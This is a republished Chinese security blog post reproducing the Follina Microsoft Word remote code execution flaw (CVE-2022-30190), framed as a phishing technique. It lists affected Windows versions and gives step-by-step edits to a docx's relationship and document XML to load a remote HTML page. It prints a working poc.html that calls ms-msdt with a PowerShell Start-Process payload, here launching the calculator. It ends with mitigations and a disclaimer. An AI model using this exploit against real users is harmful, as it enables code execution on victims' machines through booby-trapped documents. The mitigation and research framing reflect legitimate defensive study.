钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

admin 2022年6月11日22:14:07安全新闻评论64 views9178字阅读30分35秒阅读模式

anq钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)



0x01  前言


MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一个 HTML 场景 ms-msdt: 调用 msdt 诊断工具,它能够执行任意代码(在参数中指定)。
结果是一个可怕的攻击向量,通过打开恶意 docx 文件(不使用宏)来获取 RCE。
通俗来说就是调用远程html文件来执行任意代码。

0x02  漏洞影响

  • Windows Server 2012 R2 (Server Core installation)

  • Windows Server 2012 R2

  • Windows Server 2012 (Server Core installation)

  • Windows Server 2012

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1

  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

  • Windows Server 2008 for x64-based Systems Service Pack 2

  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

  • Windows Server 2008 for 32-bit Systems Service Pack 2

  • Windows RT 8.1

  • Windows 8.1 for x64-based systems

  • Windows 8.1 for 32-bit systems

  • Windows 7 for x64-based Systems Service Pack 1

  • Windows 7 for 32-bit Systems Service Pack 1

  • Windows Server 2016 (Server Core installation)

  • Windows Server 2016

  • Windows 10 Version 1607 for x64-based Systems

  • Windows 10 Version 1607 for 32-bit Systems

  • Windows 10 for x64-based Systems

  • Windows 10 for 32-bit Systems

  • Windows 10 Version 21H2 for x64-based Systems

  • Windows 10 Version 21H2 for ARM64-based Systems

  • Windows 10 Version 21H2 for 32-bit Systems

  • Windows 11 for ARM64-based Systems

  • Windows 11 for x64-based Systems

  • Windows Server, version 20H2 (Server Core Installation)

  • Windows 10 Version 20H2 for ARM64-based Systems

  • Windows 10 Version 20H2 for 32-bit Systems

  • Windows 10 Version 20H2 for x64-based Systems

  • Windows Server 2022 Azure Edition Core Hotpatch

  • Windows Server 2022 (Server Core installation)

  • Windows Server 2022

  • Windows 10 Version 21H1 for 32-bit Systems

  • Windows 10 Version 21H1 for ARM64-based Systems

  • Windows 10 Version 21H1 for x64-based Systems

  • Windows Server 2019 (Server Core installation)

  • Windows Server 2019

  • Windows 10 Version 1809 for ARM64-based Systems

  • Windows 10 Version 1809 for x64-based Systems

  • Windows 10 Version 1809 for 32-bit Systems

0x03  漏洞复现


首先生成一个插入了OLE链接的docx文档。
新建一个docx后缀的word文档。

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)


使用office word打开新建的文件,插入OLE链接。

具体插入流程为顶部工具栏 插入-对象

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

随便插入一个对象后保存,使用解压软件打开。(word文件可以看作是一个压缩包)

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

打开后首先进入 word/_rels/document.xml.rels 文件(使用文本编辑器打开)

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

全文搜索ole定位到我们该刚刚插入的链接位置。

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

注意当前Relationship标签的id值,通常是rid5,接着修改当前标签中Target的值,并新增属性TargetMode

Target="http:///poc.html!" TargetMode="External"

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

修改完后保存并更新目录,接着修改 word/document.xml文件,全文搜索rid5(上一个文件对应的id值)

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

修改该标签内Type="Embed"Type="Link"并新增属性UpdateMode="OnCall"

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

保存并更新目录。
接下来编写poc.html

<!doctype html>  <html lang="en">  <head>  <title>  Exploit  </title>  </head>  <body>  
<script> //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/SYstem32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO""; </script>
</body> </html>

将poc.html上传到服务器目录。
使用offic word打开上面制作的恶意docx文档,成功弹出计算器。

钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)


0x04  修复建议


可通过执行以下缓解方案避免受该漏洞影响:

1.警惕下载来路不明的文档,同时关闭预览窗格。

2.升级Microsoft Defender 防病毒软件到1.367.719.0或更高版本。在以下签名下,Microsoft Defender 防病毒软件可以为该漏洞利用提供检测和保护:

木马:Win32/Mesdetty.A

木马:Win32/Mesdetty.B76    h.B

通过命令行删除:

1、以管理员身份运行命令提示符。

2、要备份注册表项,请执行命令"reg export HKEY_CLASSES_ROOTms-msdt filename"。

3、执行命令"reg delete HKEY_CLASSES_ROOTms-msdt /f"。

官方补丁下载:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190


0x05  免责声明


本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。



关于我们


“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。

团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。





原文始发于微信公众号(灰帽安全):钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月11日22:14:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  钓鱼天花板Microsoft Office Word Rce 复现(CVE-2022-30190) http://cn-sec.com/archives/1109268.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: